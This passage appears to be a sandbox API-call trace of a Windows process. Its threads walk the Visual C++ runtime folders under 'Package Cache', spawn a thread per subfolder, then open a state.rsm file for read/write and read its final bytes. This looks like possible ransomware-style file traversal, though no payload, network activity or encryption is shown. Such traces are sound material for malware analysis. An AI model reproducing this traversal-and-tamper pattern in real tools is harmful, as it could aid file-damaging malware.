1 [0091.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b798f80 [0091.530] wcscpy (in: _Dest=0x1b798f80, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0091.530] wcscat (in: _Dest=0x1b798f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0091.530] wcscat (in: _Dest=0x1b798f80, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0096.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc [0096.851] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.851] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0096.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9af20) returned 1 [0096.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0096.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 Thread: id = 469 os_tid = 0xc54 [0091.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1073c0 [0091.531] wcscpy (in: _Dest=0x1073c0, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0091.531] wcscat (in: _Dest=0x1073c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0091.531] wcscat (in: _Dest=0x1073c0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" [0091.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9acb0 [0091.531] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0091.531] wcscmp (_String1=".", _String2=".") returned 0 [0091.531] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.531] wcscmp (_String1="..", _String2=".") returned 1 [0091.531] wcscmp (_String1="..", _String2="..") returned 0 [0091.531] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0091.531] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0091.531] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0091.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799070 [0091.531] wcscpy (in: _Dest=0x1b799070, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0091.532] wcscat (in: _Dest=0x1b799070, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0091.532] wcscat (in: _Dest=0x1b799070, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0096.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0 [0096.853] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.854] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0096.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9acb0) returned 1 [0096.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0096.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 Thread: id = 470 os_tid = 0xc58 [0091.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107480 [0091.532] wcscpy (in: _Dest=0x107480, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0091.533] wcscat (in: _Dest=0x107480, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0091.533] wcscat (in: _Dest=0x107480, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" [0091.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9aa40 [0091.533] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86190 [0091.533] wcscmp (_String1=".", _String2=".") returned 0 [0091.533] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.533] wcscmp (_String1="..", _String2=".") returned 1 [0091.533] wcscmp (_String1="..", _String2="..") returned 0 [0091.533] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0091.533] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0091.533] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0091.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b799160 [0091.533] wcscpy (in: _Dest=0x1b799160, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0091.533] wcscat (in: _Dest=0x1b799160, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0091.533] wcscat (in: _Dest=0x1b799160, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0096.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc4 [0096.856] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.856] FindClose (in: hFindFile=0x1cd86190 | out: hFindFile=0x1cd86190) returned 1 [0096.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aa40) returned 1 [0096.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0096.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106a00) returned 1 Thread: id = 471 os_tid = 0xc5c [0091.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107540 [0091.534] wcscpy (in: _Dest=0x107540, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0091.534] wcscat (in: _Dest=0x107540, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0091.534] wcscat (in: _Dest=0x107540, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" [0091.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a7d0 [0091.534] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86130 [0091.535] wcscmp (_String1=".", _String2=".") returned 0 [0091.535] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.535] wcscmp (_String1="..", _String2=".") returned 1 [0091.535] wcscmp (_String1="..", _String2="..") returned 0 [0091.535] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.535] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0091.535] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0091.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b799250 [0091.535] wcscpy (in: _Dest=0x1b799250, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0091.536] wcscat (in: _Dest=0x1b799250, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0091.536] wcscat (in: _Dest=0x1b799250, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0096.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8 [0096.858] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0096.858] FindClose (in: hFindFile=0x1cd86130 | out: hFindFile=0x1cd86130) returned 1 [0096.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a7d0) returned 1 [0096.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107540) returned 1 [0096.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106ac0) returned 1 Thread: id = 472 os_tid = 0xd24 [0091.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107600 [0091.536] wcscpy (in: _Dest=0x107600, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0091.536] wcscat (in: _Dest=0x107600, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0091.537] wcscat (in: _Dest=0x107600, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" [0091.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a560 [0091.537] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd90 [0091.537] wcscmp (_String1=".", _String2=".") returned 0 [0091.538] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.538] wcscmp (_String1="..", _String2=".") returned 1 [0091.538] wcscmp (_String1="..", _String2="..") returned 0 [0091.538] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.538] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0091.538] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0091.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799340 [0091.538] wcscpy (in: _Dest=0x1b799340, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0091.538] wcscat (in: _Dest=0x1b799340, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0091.538] wcscat (in: _Dest=0x1b799340, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0096.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdcc [0096.926] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0096.926] FindClose (in: hFindFile=0x1cd9dd90 | out: hFindFile=0x1cd9dd90) returned 1 [0096.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a560) returned 1 [0096.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107600) returned 1 [0096.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106b80) returned 1 Thread: id = 473 os_tid = 0xd2c [0091.539] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20 [0091.540] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 1 [0091.540] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdd4 [0091.540] GetFileSizeEx (in: hFile=0xdd4, lpFileSize=0x1e4cfd20 | out: lpFileSize=0x1e4cfd20*=654) returned 1 [0091.540] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x28a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.540] ReadFile (in: hFile=0xdd4, lpBuffer=0x1e4cfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e4cfce8, lpOverlapped=0x0 | out: lpBuffer=0x1e4cfca0*, lpNumberOfBytesRead=0x1e4cfce8*=0x4, lpOverlapped=0x0) returned 1 [0091.541] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 